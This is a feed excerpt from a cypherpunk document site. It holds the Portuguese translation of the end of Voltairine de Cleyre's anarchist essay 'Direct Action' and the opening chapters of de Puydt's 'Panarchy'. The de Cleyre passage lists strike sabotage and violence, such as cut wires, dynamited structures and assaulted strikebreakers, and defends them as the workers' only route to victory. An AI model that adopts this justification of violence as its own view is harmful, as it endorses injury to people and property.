&lt;p>&amp;ldquo;(Os sindicalistas) têm que aprender que o problema dos trabalhadores nunca pode ser resolvido espancando fura-greves, sua própria política de limitar seus sócios cobrando altas taxas e outras restrições ajuda criar fura-greves. Eles têm que aprender que o curso do crescimento não está tanto em salários mais altos, mas em jornadas mais curtas de trabalho que os permitirão aumentar a quantidade de membros, a chamar qualquer pessoa disposta a entrar no sindicato.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Pelas imprevistas e imprevisíveis operações de instituições que nenhum de nós criou, mas que já existiam quando chegamos aqui, nós trabalhadores, que compomos a parte mais absolutamente necessária de toda estrutura social, e que sem nossos serviços ninguém pode comer, morar, ou vestir, somos exatamente os que menos têm oportunidade para comer, morar, ou vestir &amp;ndash; sem falar de outros benefícios sociais que supostamente nos oferecem, como educação e satisfação artística.&lt;/p>
&lt;p>Nós trabalhadores temos, de uma ou de outra forma, juntado mutuamente nossas forças tentando melhorar nossas condições de vida; principalmente pela ação direta, e secundariamente pela ação política. Nós formamos Granjas, Alianças Camponesas [N.T.: no original Knights of Labor], Associações Cooperativas, Experiências de Colonização, Associações de Trabalhadores, Sindicatos, e a IWW (Industrial Workers of the World). Todos organizados com a finalidade de arrancar dos senhores da área econômica um pagamento um pouco melhor, condições um pouco melhores, horas um pouco mais curtas; ou por outro lado resistir contra uma redução no pagamento, contra condições piores, contra horas mais longas de trabalho. Nenhuma dessas tentativas procurava uma solução final à guerra social. Nenhuma delas, com exceção da IWW, reconheceu que há uma guerra social em curso, inevitável enquanto perdurar as presentes condições legais-sociais. Nós trabalhadores aceitamos as instituições da propriedade da forma como encontramos. Elas foram compostas por homens comuns, com desejos de homens comuns, e resolveram fazer coisas que lhes parecia possível e bem razoáveis. Eles não estavam comprometidos com qualquer política em particular quando se organizaram, mas se associaram para a ação direta por iniciativa própria, tanto na forma positiva como na forma defensiva.&lt;/p>
&lt;p>Sem dúvida houve e há em todas estas organizações, membros que olharam além das demandas imediatas; que olharam as coisas do ponto de vista do desenvolvimento contínuo das forças agora em operação para provocar rapidamente as condições diante das quais é impossível que a vida continue a mesma, e contra a qual protestem, e protestem violentamente; não há outra alternativa senão essa; ou isso ou a morte inevitável; mas não há nada na natureza da vida que se renda sem luta, assim, não há porque morrer sem lutar. Vinte e dois anos atrás eu conheci o pessoal da Aliança Camponesa que dizia coisas assim, Associações de Trabalhadores que diziam o mesmo, Sindicalistas que diziam o mesmo. Eles pretendiam objetivos maiores que esses e criaram organizações para alcançá-los; mas eles tiveram que aceitar os membros como eles eram, e tentaram na medida do possível fazê-los compreender como as coisas funcionavam. Que eles poderiam ter preços melhores, salários melhores, condições menos perigosas, menos tirânicas, horas mais curtas de trabalho. Na fase do desenvolvimento quando estes movimentos foram iniciados, os trabalhadores do campo não viram a relação da luta deles com a luta dos trabalhadores nas fábricas ou nos transportes; nem estes últimos, por sua vez, perceberam qualquer relação deles com o movimento dos camponeses. Essas coisas bem poucos conseguiram compreender. Eles ainda têm que aprender que há uma luta comum contra aqueles que se apropriaram da terra, do dinheiro, e das máquinas.&lt;/p>
&lt;p>Desgraçadamente as grandes organizações camponesas se fragmentaram em uma estúpida luta pelo poder político. Elas tiveram bastante êxito conquistando o poder em certos Estados; mas os tribunais pronunciaram suas leis inconstitucionais, e esse foi o cemitério de todas suas conquistas políticas. Seu programa original era construir seus próprios silos, e armazenar seus produtos, preservando-os do mercado até que pudessem escapar do especulador. Também, organizar bolsas de mão-de-obra, emitir notas de crédito em produtos depositados para troca. Se tivessem aderido a este programa de ajuda mútua dirigida, poderiam, até certo ponto, durante um tempo pelo menos, dispor de uma ilustração de como o gênero humano poderia livrar-se do parasitismo dos banqueiros e dos intermediários. Claro que tudo isso seria subvertido no final &amp;ndash; a menos que revolucionassem as mentes dos homens, por exemplo, forçando a subversão do monopólio legal da terra e do dinheiro &amp;ndash; mas pelo menos serviria a um grande propósito educacional. Sobre como &amp;ldquo;sacrificar pouco para ganhar muito&amp;rdquo; em vez de desintegrar-se em futilidades.&lt;/p>
&lt;p>As Alianças Camponesas acabaram relegadas a uma relativa insignificância, não por causa de seu fracasso no uso da ação direta, nem por causa do seu envolvimento com políticos, que era pequeno, mas principalmente porque era uma massa heterogênea de trabalhadores que não conseguiram associar efetivamente seus esforços.&lt;/p>
&lt;p>Enquanto as Alianças Camponesas afundavam, os Sindicatos cresciam fortes, e continuaram lentamente seu crescimento, e tenazmente aumentavam em poder. É verdade que às vezes esse fluxo oscilava; que vez por outra houve recuo; que grandes organizações centralizadas foram formadas e novamente dispersadas. Mas em geral os sindicatos constituíram um crescente poderio. E isso ocorreu porque, diante de sua pobreza, foi o meio pelo qual uma certa seção de trabalhadores pôde juntar forças para enfrentar diretamente seus patrões, e conseguir para si alguma porção daquilo que queriam &amp;ndash; se não ditavam as condições teriam pelo menos que tentar conseguir isso. A greve era a arma natural que possuíam, uma arma que eles mesmos forjaram. Em noventa por cento dos casos é o sopro direto da greve que faz o patrão tremer de medo. (Claro que há ocasiões quando ele anseia por uma, mas isso é incomum). A razão deste medo da greve não é tanto porque ele acha que não pode fazer nada contra ela, mas apenas e simplesmente porque ele não quer uma interrupção em seus negócios. O patrão ordinário não teme coisas como &amp;ldquo;voto consciente da classe trabalhadora&amp;rdquo;; há inúmeros locais onde você pode falar o dia todo sobre Socialismo ou sobre qualquer outro programa político; mas se você começa a falar sobre Sindicalismo pode esperar ser expulso em seguida ou na melhor das hipóteses ser convidado a calar a boca. Por que? Não porque o chefe seja tão sábio a ponto de saber que a ação política é um pântano onde o trabalhador se enlameia, ou porque ele percebe que aquele Socialismo político rapidamente está se tornando um movimento de classe média; não. Ele acha que o Socialismo é uma coisa muito ruim; mas que é também uma bela porta de saída! Mas ele sabe que se os trabalhadores de sua fábrica forem sindicalizados, ele terá dificuldades imediatas. As mãos desses trabalhadores serão rebeldes, ele será forçado a gastar dinheiro para melhorar as condições de trabalho, ele terá que manter trabalhadores que detesta, e no caso de greve ele pode esperar danos aos seus equipamentos e edifícios.&lt;/p>
&lt;p>É dito com frequência, e repetidamente como os papagaios fazem, que os patrões são uma &amp;ldquo;classe-consciente&amp;rdquo;, que eles estão unidos em torno de seus interesses de classe, e que estão dispostos a sofrer qualquer tipo de perda pessoal em defesa desses interesses. Nada disso é verdade. A maioria dos empresários é exatamente como a maioria dos trabalhadores; eles se preocupam o tempo todo mais com suas perdas ou ganho individuais do que com os ganhos ou perdas de sua classe. E é sua própria perda individual que o patrão vê, quando ameaçado por um sindicato.&lt;/p>
&lt;p>Agora todo mundo sabe que uma greve de qualquer tamanho significa violência. Não importa a preferência ética pela paz que alguém possa ter, ele sabe que não estará calmo. Se for uma greve de telégrafos, significa arames cortados e postes derrubados, e infiltrar falsos fura-greves para destruir os instrumentos. Se for uma greve de metalúrgicos, significa dar porrada em fura-greves, quebrar janelas, descalibrar bitolas, e arruinar peças caras juntamente com toneladas e toneladas de material. Se for uma greve de mineiros, significa destruir trilhos e pontes, e explodir fábricas. Se for uma greve de trabalhadores de uma tecelagem ou artigos de vestuário, significa a ocorrência de incêndios &amp;ldquo;acidentais&amp;rdquo;, pedradas em janelas aparentemente inacessíveis, ou possivelmente uma tijolada na cabeça do dono da fábrica. Se for uma greve de montadora de automóveis, significa remover esteiras ou obstruí-las com resíduos sólidos ou líquidos, com peças pesadas ou robôs, significa carros esmagados ou incinerados e interruptores sabotados. Se for uma greve de um sistema federado, significa máquinas &amp;ldquo;mortas&amp;rdquo;, máquinas desreguladas, fretes descarrilados, e trens bloqueados. Se é uma greve na área da construção civil, significa dinamitar estruturas. E sempre, em toda parte, em todo o tempo, lutas de seguranças e fura-greves contra grevistas e simpatizantes de grevistas, entre Gente e Polícia.&lt;/p>
&lt;p>No lado dos patrões, significa holofotes, cercas elétricas, vigilantes, cárcere privado, detetives e agentes provocadores, sequestro violento e deportação, e todo dispositivo que eles podem conceber para a proteção direta, além de ultimatos da polícia, milícias, polícia distrital, estatal, e tropas federais.&lt;/p>
&lt;p>Todo o mundo conhece estas coisas; todo mundo sorri quando os funcionários do sindicato apelam aos trabalhadores para que sejam pacíficos e obedientes à lei, porque todo mundo sabe que estão mentindo. Eles sabem que a violência será usada, secreta e abertamente; e eles sabem que será usada porque os grevistas não podem agir de outro modo, sem imediatamente serem derrotados. Nem por isso eles podem ser acusados de perder a razão por usarem esses recursos violentos. As pessoas entendem em geral que eles fazem estas coisas pela lógica cruel de uma situação que eles não criaram, mas que os força a estes ataques pelo sucesso de sua luta pela vida ou para evitar descer ao poço sem fundo da pobreza, para evitar que a Morte os encontre nos ambulatórios dos asilos, na sarjeta, ou na lama. Esta é a alternativa terrível que os trabalhadores estão enfrentando; e é isto que faz com que pessoas integralmente propensas à cordialidade &amp;ndash; homens que desviam do caminho para ajudar um cão ferido, ou trazem um gatinho perdido para casa e o alimenta, ou pisam com cuidado para evitar esmagar um pintinho &amp;ndash; recorrem à violência contra membros de sua própria raça. Eles sabem, porque os fatos lhes ensinaram, que este é o único caminho para a vitória, se eles querem mesmo vencer. A coisa mais absurda e totalmente irrelevante que alguém pode dizer ou fazer quando se aproxima na intenção de apoiar ou ajudar um grevista que está lidando com uma situação imediata, é propor &amp;ldquo;nas eleições a gente dá o troco!&amp;rdquo; quando a próxima eleição está a uma distância de seis meses, um ano, ou dois anos.&lt;/p>
&lt;p>Infelizmente a pessoa que conhece melhor como usar a violência na guerra sindical não pode tomar a palavra e dizer: &amp;ldquo;Em tal dia, em tal lugar, tal e qual ação específica será feita, o que resultará em que tal e qual concessão será conquistada, ou tal e qual patrão capitulará&amp;rdquo;. Fazer isso tiraria sua liberdade e seu poder para a luta. Então aqueles que melhor conhecem a arte da greve têm que permanecer em silêncio em seu cantinho, e deixar a parte do discurso com os tagarelas. É a ação concreta, não o discurso, que dá clareza ao ponto de vista das pessoas.&lt;/p>
&lt;p>Nas últimas semanas houve uma enxurrada de tagarelices. Oradores e escritores &amp;ndash; honestamente convencidos (eu acho) de que a ação política e apenas a ação política pode dar a vitória aos trabalhadores &amp;ndash; tem denunciado o que eles chamam de &amp;ldquo;ação direta&amp;rdquo; (a que eles realmente querem dizer é violência conspirativa [ou terrorismo]) como a autora de danos incalculáveis. Oscar Ameringer, por exemplo, disse recentemente em uma reunião em Chicago que o bombardeio de Haymarket conduziu o patamar da luta pelas 8 horas para vinte e cinco anos atrás, argumentando que quem teve sucesso foi a bomba, não o movimento. É um grande engano. Ninguém pode medir exatamente em anos ou meses o efeito de um estímulo ou de uma reação. Ninguém pode provar que o movimento pelas oito horas sairia vitorioso vinte e cinco anos atrás. Nós sabemos que a jornada de oito horas foi legalmente estabelecida em Illinois em 1871 pela ação política, e permaneceu como lei morta. Que a ação direta dos trabalhadores ganharia essa parada, isso não pode ser provado; mas pode ser demonstrado que fatores bem mais potentes que a bomba de Haymarket atuaram contra a vitória dos trabalhadores nessa batalha pela jornada de oito horas. Por outro lado, se a influência reativa da bomba foi realmente tão poderosa, deveríamos naturalmente esperar que as condições de trabalho e de organização sindical seriam piores em Chicago do que nas cidades onde nada disso aconteceu. Pelo contrário, por mais ruins que sejam, as condições gerais de trabalho são melhores em Chicago que nas demais cidades grandes, e o poder dos sindicatos desenvolveu-se mais lá do que em qualquer outra cidade americana, com exceção de São Francisco. Assim, se temos que tirar qualquer conclusão sobre a influência da bomba de Haymarket, é bom lembrar desses fatos. Pessoalmente eu não acho que sua influência no movimento operário, como tal, foi assim tão grande.&lt;/p>
&lt;p>O mesmo ocorre com o presente frenesi sobre a violência. Nenhum fundamento foi alterado. Dois homens foram presos pelo que fizeram (vinte e quatro anos atrás eles seriam enforcados pelo que não fizeram); alguns poucos ainda podem ser presos. Mas as forças da vida continuarão se revoltando contra as cadeias econômicas que as prendem. Essa revolta não cessará nunca, não importa se homens de papel votem ou deixem de votar, enquanto essas cadeias não forem arrebentadas.&lt;/p>
&lt;p>Como as cadeias serão quebradas?&lt;/p>
&lt;p>Os ativistas políticos nos dizem que as cadeias econômicas só serão quebradas pela ação dos partidos de trabalhadores no poder mediante eleições; o voto colocará os meios de produção e de vida nas mãos do proletariado; que também assumirá o comando das florestas, das minas, das fazendas, das bacias hidrográficas, das fábricas, dos silos; da mesma forma, terá sob seu controle o poder militar para defender seus interesses, todo esse domínio será e estará a serviço do povo.&lt;/p>
&lt;p>E depois?&lt;/p>
&lt;p>Depois, haverá paz, criatividade, obediência à lei, paciência, e sobriedade (como Madero disse aos peões mexicanos após vendê-los a Wall Street)! Até mesmo se alguns de vocês forem privados de direitos civis ou de privilégios, não é necessário revoltar-se nem mesmo contra essas coisas, pode deixar que &amp;ldquo;o partido tomará as devidas providências&amp;rdquo;.&lt;/p>
&lt;p>Bem, eu já declarei que, ocasionalmente, algumas coisas boas podem resultar da ação política &amp;ndash; e não necessariamente da ação de partidos proletários. Mas estou plenamente convencida de que cada benefício alcançado é mais do que anulado pelo malefício que traz a tiracolo; também estou plenamente convencida de que, ocasionalmente, cada malefício resultante da ação direta é mais do que anulado pelo benefício que traz a tiracolo.&lt;/p>
&lt;p>Quase todas as leis que foram moldadas originalmente com a intenção de beneficiar os trabalhadores, viraram armas nas mãos dos seus inimigos, ou se tornaram letra morta, a menos que os trabalhadores pelas suas organizações obriguem diretamente sua observância. De forma que no final das contas, e de todas as maneiras, é na ação direta que devemos depositar nossa confiança. Como exemplo da ineficácia de uma lei, basta observar a lei antitruste que supostamente beneficiava o povo em geral e o proletariado em particular. Cerca de duas semanas depois que a lei entrou em vigor, 250 líderes sindicais foram citados para responder processo acusados de truste. Esse foi o efeito da lei aos grevistas de Illinois.&lt;/p>
&lt;p>Mas os malefícios provocados pela confiança na ação indireta são bem maiores do que se pode imaginar. O principal malefício é que destrói a iniciativa, extingue o espírito rebelde de cada um, ensina pessoas a confiar em outra pessoa para fazer para eles o que eles deveriam fazer por si próprios; finalmente torna orgânica a ideia anômala de que aglomerar uma multidão inerte até que uma maioria seja obtida fará com que &amp;ndash; por uma estranha magia daquela maioria &amp;ndash; aquela inércia seja transformada em energia. Quer dizer, pessoas que perderam o hábito de lutar por si mesmas enquanto indivíduos, pessoas que se submetem a toda injustiça esperando que uma maioria seja formada, são metamorfoseadas em humanos de alto poder explosivo por um mero processo de empacotamento!&lt;/p>
&lt;p>Eu concordo totalmente que as fontes da vida, e toda a riqueza natural da terra, e as ferramentas necessárias à produção cooperativa, tem que estar livremente acessíveis a todos. Tenho certeza de que o sindicalismo precisa alargar e aprofundar seus propósitos, ou será extinto; estou segura de que a lógica da situação os forçará a ver isto gradualmente. Eles têm que aprender que o problema dos trabalhadores nunca pode ser resolvido espancando fura-greves, sua própria política de limitar seus sócios cobrando altas taxas e outras restrições ajuda criar fura-greves. Eles têm que aprender que o curso do crescimento não está tanto em salários mais altos, mas em jornadas mais curtas de trabalho que os permitirão a aumentar a quantidade de membros, a chamar qualquer pessoa disposta a entrar no sindicato. Eles têm que aprender que se eles querem mesmo ganhar batalhas, todos os trabalhadores aliados têm que agir em conjunto, e agir depressa (sem avisar aos patrões), e resguardar sua liberdade de entrar em greve quantas vezes for necessário. E finalmente eles têm que aprender (quando houver uma organização completa) que jamais ganharão nada permanente a menos que lutem, não por conquistas parciais, mas por conquistas totais &amp;ndash; não por um salário, não por benefícios secundários, mas pela conquista de todas as riquezas naturais do planeta. E procedam à expropriação direta de tudo!&lt;/p>
&lt;p>Eles têm que aprender que seu poder não está na força do seu voto, mas na sua habilidade de parar a produção. É um grande engano supor que os assalariados constituem a maioria dos eleitores. Os assalariados estão hoje aqui e amanhã acolá, e isso impede um número grande deles de votar; uma grande porcentagem deles neste país são estrangeiros sem direito a voto. A prova mais patente, e os líderes Socialistas sabem disso, é que os sindicatos estão comprometendo cada ponto de seu programa visando angariar apoio da classe empresarial, e do pequeno investidor. Os documentos de seus programas proclamam que seus acordos foram assegurados por compradores de títulos de Wall Street, e que eles igualmente estariam prontos a comprar títulos de socialistas de Los Angeles da mesma forma que compram de administradores capitalistas; e que a atual administração de Milwaukee foi benéfica ao pequeno investidor; seus periódicos asseguram aos seus leitores naquela cidade que nós não precisamos ir até grandes lojas de departamentos para comprar &amp;ndash; basta comprar de Fulano de Tal na Avenida Milwaukee, que ficaremos totalmente satisfeitos como se estivéssemos comprando em uma &amp;ldquo;grande instituição empresarial&amp;rdquo;. Em suma, eles estão fazendo um desesperado esforço para ganhar o apoio e prolongar a existência daquela classe média que a economia socialista diz estar em frangalhos, porque sabem que não podem alcançar maioria sem eles.&lt;/p>
&lt;p>O máximo que um partido de trabalhadores pode conseguir, supondo que seus políticos permaneçam honestos, seria formar uma forte facção no parlamento &amp;ndash; somando votos de vários lados &amp;ndash; para obter certos paliativos políticos ou econômicos.&lt;/p>
&lt;p>Mas aquilo que a classe trabalhadora pode fazer, na medida em que toma a forma de uma sólida organização, é mostrar à classe proprietária, por uma parada súbita de todo trabalho, que toda estrutura social está sobre seus ombros; e que as propriedades e riquezas da classe empresarial são absolutamente inúteis para eles sem a atividade dos trabalhadores; tal protesto, tal golpe, direto no coração do sistema da propriedade, ocorrerá periodicamente, continuamente, até que a coisa inteira seja abolida &amp;ndash; e tendo mostrado sua eficácia, procederá a expropriação.&lt;/p>
&lt;p>&amp;ldquo;E quanto ao poder militar?&amp;rdquo;, diz o ativista político; &amp;ldquo;temos que conquistar poder político, ou o exército será usado contra nós!&amp;rdquo;&lt;/p>
&lt;p>Contra uma real Greve Geral, o exército não pode fazer nada. Oh, ou melhor, se você tiver um Socialista como Briand no poder, ele pode declarar os trabalhadores &amp;ldquo;funcionários públicos&amp;rdquo; e mandar o exército contra eles! Mas contra o sólido muro de uma massa de trabalhadores parados, nem Briand poderia derrubá-lo.&lt;/p>
&lt;p>Enquanto isso, até este despertar internacional, a guerra entre as classes continuará seguindo seu curso, apesar de toda essa manifesta histeria de pessoas bem-intencionadas mas que não compreendem a vida e suas necessidades; apesar do patente temor dos líderes acovardados; apesar de toda vingança reacionária que pode ser perpetrada; apesar de todo capital que os políticos recebem da situação. A luta de classes continuará seu curso porque a Vida anseia por viver, mesmo com a Propriedade negando sua liberdade para viver; a Vida não se submeterá.&lt;/p>
&lt;p>Nem deve se submeter.&lt;/p>
&lt;p>Seguirá seu curso até aquele dia quando uma Humanidade que se auto libertou puder cantar o Hino ao Homem de Swinburne.&lt;/p>
&lt;pre>&lt;code>&amp;quot;Glória ao Homem nas alturas,
Ao Homem, Senhor das coisas&amp;quot;.
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://theanarchistlibrary.org/library/voltairine-de-cleyre-direct-action" target="_blank" rel="noopener noreferrer">https://theanarchistlibrary.org/library/voltairine-de-cleyre-direct-action&lt;/a>
&lt;/p></content:encoded></item><item><title>Panarquia</title><link>https://cypherpunks.com.br/documentos/pananarquia/</link><pubDate>Fri, 01 Jun 1860 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/pananarquia/</guid><description>A verdade é que não há a liberdade que deveria haver, a liberdade fundamental de escolher ser ou não ser livre. Cada um julga por si mesmo e define a questão de acordo com gostos e necessidades particulares. Como há tantas opiniões quanto há indivíduos, tot homines, tot sensus, é possível ver a confusão disfarçada com o bonito nome de …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Rafael Hotz e Luiz Eduardo do Ó
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>Nota de John Zube&lt;/strong>&lt;/p>
&lt;p>Esta é a versão de abril de 1998 da tradução em inglês (com correções baseadas no texto original em francês: novembro de 2001 - março de 2004 e abril de 2005, GPdB - maio de 2006, MB)&lt;/p>
&lt;p>No início, minha esposa e eu produzimos uma tradução aproximada. Então Adrian Falk e, talvez, sua irmã, o colocaram em uma forma melhor.
Em seguida, foi reproduzido pela primeira vez em Peace Plans 4, com alguns comentários meus e um rascunho dos direitos individuais.
Mais tarde, foi reproduzido no Rampart Journal of Individualist Thought, outono de 1966 e nos Peace Plans 16-18 e 61-63 e, em alemão, nos Planos de Paz 399-401.&lt;/p>
&lt;p>Quaisquer críticas e idéias e argumentos complementares são bem-vindos.&lt;/p>
&lt;p>PIOT (Panarchy In Our Times), John Zube.
John Zube, POB 52 Berrima, NSW 2577, Austrália, tel. (02) 48771 436.
e-mail: &lt;a href="mailto:john.zube@bigpond.com">john.zube@bigpond.com&lt;/a>
&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Nota sobre o autor&lt;/strong>&lt;/p>
&lt;p>Paul Emile de Puydt
Nacido em Mons (Bélgica)
1810-1891&lt;/p>
&lt;p>Botánico - Escritor - Economista&lt;/p>
&lt;h1 id="i">I&lt;/h1>
&lt;h1 id="prefácio">Prefácio&lt;/h1>
&lt;p>&lt;/p>
&lt;p>Um contemporâneo disse: “Se a verdade estivesse em minhas mãos, eu deveria ser cauteloso em deixá-la escapar”. Enquanto estas são talvez as palavras de um letrado, certamente são as de um egoísta.&lt;/p>
&lt;p>Outro escreveu: “As verdades que menos se quer ouvir são aquelas que mais devem ser mostradas”.&lt;/p>
&lt;p>Aqui temos dois pensadores cujas visões diferem grandemente. Eu estaria mais disposto a concordar com o segundo, embora na prática esta decisão apresente inconvenientes. Ao consultar homens sábios de todas as nações, sou ensinado que nem todas as verdades devem ser expostas. Mas, como saber quais se deve esconder? Em todo caso, o Evangelho diz: “nem se acende a candeia para se colocar debaixo do alqueire”.&lt;/p>
&lt;p>E eis que me tenho perplexo. Eu tenho esta nova idéia, ao menos assim creio, e sinto como meu dever difundi-la. No entanto, sinto uma inquietude com o chegar da hora de abrir a mão: Qual o inovador não foi um pouco perseguido? A invenção, uma vez publicada, será julgada por seus próprios méritos, considero-a emancipada. Minha preocupação é pelo autor. Ele será perdoado por ter tido uma idéia?&lt;/p>
&lt;p>Um antigo que salvou Atenas e a Grécia, dizia a alguém brutal que, tendo esgotado todos os argumentos durante a discussão, brandia um bastão sobre ele: “Golpeia - Mas escuta!”. A Antiguidade está cheia de tais exemplos. Dessa forma, seguirei Temístocles, propondo minha idéia e a fazendo pública: Leiam-na até o final, e só então me atirem pedras, se assim quiserem.&lt;/p>
&lt;p>Entretanto, compreendo que não serei apedrejado. O bruto do qual eu falava morreu em Esparta há 24 séculos, e nós podemos ver quanto progresso a humanidade alcançou em 2400 anos. Em nosso tempo idéias podem ser livremente expressas; e se ocasionalmente um inovador é atacado, não é como tal costumava ser, em tempos antigos, mas sim sob a forma de acusação de agitador ou utópico. Tranqüilizado por estas reflexões, eu finalmente entro no assunto.&lt;/p>
&lt;hr>
&lt;h1 id="ii">II&lt;/h1>
&lt;pre>&lt;code>&amp;quot;Senhores, eu sou amigo de todo o mundo.&amp;quot;
(Sosie, uma dupla, nos escritos de Molière)
&lt;/code>&lt;/pre>
&lt;p>Eu tenho uma alta estima pela Economia Política e gostaria que todo o mundo também compartilhasse dessa opinião. Esta ciência, nascida recentemente e já a mais importante de todas, está distante de ter alcançado seus últimos resultados. Cedo ou tarde (espero que cedo) ela regerá todo o universo. Eu tenho motivos para assim dizer, já que foi dos trabalhos de economistas de onde derivei os princípios para os quais eu proponho uma nova aplicação, mais ampla e não menos lógica que outras.&lt;/p>
&lt;p>Antes, citemos alguns aforismos, cujo encadeamento irá preparar o leitor.&lt;/p>
&lt;pre>&lt;code>“Liberdade e propriedade são diretamente conectadas - uma favorece a distribuição de riqueza, a outra torna possível a produção.”
“O valor da riqueza depende do uso que se dá a ela.”
“Os preços de serviços variam diretamente com a demanda e inversamente com a oferta.”
“A divisão do trabalho multiplica a riqueza.”
“Liberdade traz a competição, que por sua vez cria o progresso.”
&lt;/code>&lt;/pre>
&lt;p>(Ch. de Brouckere, Principes généraux d’économie politique)&lt;/p>
&lt;p>Donde se conclui a necessidade da livre competição entre indivíduos primeiro, e então entre nações. Liberdade de inventar, trabalhar, trocar, vender e comprar. Liberdade para escolher os preços de seus produtos - e simplesmente nenhuma intervenção do Estado fora da sua esfera especial. Em outras palavras: &lt;em>Laissez-faire, laissez-passer&lt;/em>.&lt;/p>
&lt;p>Aí está, em poucas linhas, a base da economia política, um resumo da ciência sem a qual não pode haver nada além de má administração e governo deplorável. É possível ir ainda mais longe e reduzir esta grande ciência para a maior parte dos casos em uma fórmula final: &lt;em>Laissez-faire, laissez-passer&lt;/em>.&lt;/p>
&lt;p>Tomando esta idéia, eu posso dizer: no domínio da ciência, não existem semi-verdades. Não existem verdades que, sendo válidas por um lado, deixam de ser sob outro aspecto. O sistema do universo é maravilhosamente simples, assim como é maravilhosa sua infalível lógica. Uma lei é a mesma sempre, suas aplicações é que são diversas. Dos seres mais complexos aos mais simples, do homem ao zoófito, até o mineral, todos eles oferecem íntimas similaridades de estrutura, de desenvolvimento e de composição; e surpreendentes analogias ligam o mundo material ao moral. A vida é uma unidade, matéria é uma unidade, apenas as manifestações são diversas, as combinações inumeráveis, as individualidades infinitas; mas o plano geral a tudo encobre, sem exceção. É a fraqueza de nosso entendimento, o vício de nossa educação, os responsáveis pela diversidade de sistemas e oposições de idéias. Entre duas opiniões que se contradizem, há uma verdadeira e outra falsa, a menos que ambas sejam falsas, mas anão podem ser as duas verdadeiras. Uma verdade cientificamente demonstrada não poderia ser verdadeira aqui e falsa em outro lugar; não poderia ser boa, por exemplo, para a economia política e má para a política: isto é o que desejo demonstrar.&lt;/p>
&lt;p>A grande lei da economia política, a lei da livre competição, &lt;em>laissez-faire, laissez-passer&lt;/em>, é apenas aplicável ao regimento de interesses industriais e comerciais ou, mais cientificamente, apenas à produção e circulação de riqueza? Considere as trevas da ciência econômica que esta lei veio iluminar, o problema permanente, o antagonismo permanente de interesses que ela pacificou. Não são estas condições encontradas em mesmo grau na esfera política? A analogia não indica um remédio similar para ambos os casos? &lt;em>Laissez-faire, laissez-passer&lt;/em>.&lt;/p>
&lt;p>Nós devemos notar, no entanto, a existência de governos aqui e acolá tão liberais quanto permite a fraqueza humana, ainda assim as coisas não são uma maravilha na melhor das possíveis repúblicas. Alguns dizem “Isto ocorre justamente porque há muita liberdade”, já outros: “Isto se dá porque ainda não há liberdade suficiente”.&lt;/p>
&lt;p>A verdade é que não há a liberdade que deveria haver, a liberdade fundamental de escolher ser ou não ser livre. Cada um julga por si mesmo e define a questão de acordo com gostos e necessidades particulares. Como há tantas opiniões quanto há indivíduos, &lt;em>tot homines, tot sensus&lt;/em>, é possível ver a confusão disfarçada com o bonito nome de política. A liberdade de uns é a negação dos direitos de outros, e vice-versa. O melhor e mais sábio dos governos não funciona com o livre e pleno consentimento de todos os governados. Há partidos triunfantes ou vencidos, há maiorias e minorias em luta perpétua; e a paixão com que se apega a um ideal é tão grande quanto é a confusão de idéias. Alguns oprimem em nome do direito, outros se revoltam em nome da liberdade, para se tornarem eles mesmos opressores, quando chegada sua hora.&lt;/p>
&lt;p>&lt;em>Entendo! - diz um leitor. Você é um desses utópicos que constroem a partir de muitas peças um sistema no qual a sociedade deve estar compreendida, por vontade ou força. Nada será como é, apenas sua panacéia salvará a humanidade. “Comprem minha salvação!”&lt;/em>&lt;/p>
&lt;p>Errado! Não tenho uma salvação que não seja a de todos, eu sou diferente de outros apenas em um ponto, é que sou partidário de todas as salvações, permitiria todas as formas de governo. Ao menos, aquelas que têm alguns partidários.&lt;/p>
&lt;p>&lt;em>Eu não entendo mais.&lt;/em>&lt;/p>
&lt;p>Então, deixe-me continuar. Há uma tendência geral de se ir além do que se deve com uma teoria. Mas, daí se conclui que todos os elementos de uma teoria devem estar errados? Já foi dito que há certa perversidade e idiotice no exercício da inteligência humana. No entanto, declarar-se como não amigável à ciência especulava e detestar teorias, não é uma forma de renunciar nossa capacidade de pensar?&lt;/p>
&lt;p>Tais considerações não são minhas; elas foram sustentadas por um dos maiores pensadores de nossos pensadores de nossa época, Jeremy Bentham. Royer-Collard expressou a mesma idéia com a mesma sucintez: “Defender que a teoria não serve para nada e que a experiência é a única autoridade, significa a impertinência de agir sem saber o que se faz e falar sem conhecer o assunto”.&lt;/p>
&lt;p>Apesar dos esforços humanos não serem perfeitos, ao menos as coisas caminham em direção a uma perfeição não atingível: essa é a lei do progresso. As leis da natureza são imutáveis; toda legislação deve ser baseada nelas, uma vez que apenas elas possuem a força para alicerçar a sociedade, mas a estrutura é o próprio trabalho da humanidade. Cada geração é como um novo inquilino, o qual antes de se chegar muda algumas coisas de lugar, limpa a fachada, e adiciona ou remove uma dispensa, de acordo com suas necessidades. De tempos em tempos alguma geração, mais vigorosa ou mais preocupada com o presente do que suas predecessoras, derruba o edifício inteiro, dormindo no vazio até ele estar reconstruído. Quando, após milhares de privações e com enormes esforços, ela se ajustou para reconstruí-lo sob um novo plano, ela fica desapontada ao descobrir que o último não é muito mais confortável que o primeiro. É verdade que aqueles que fizeram os planos estão alojados em bons apartamentos, bem situados, quentes no inverno e refrescados no verão; mas os outros que não tiveram escolha, são relegados às lajes [“Garrets” - Nota Do Tradutor], aos porões ou aos sótãos. Assim sempre há dissidentes e encrenqueiros suficientes, dos quais alguns sentem falta do velho edifício, enquanto alguns dos mais visionários já sonham com outra demolição. Para cada um que está satisfeito existe uma massa inumerável de descontentes.&lt;/p>
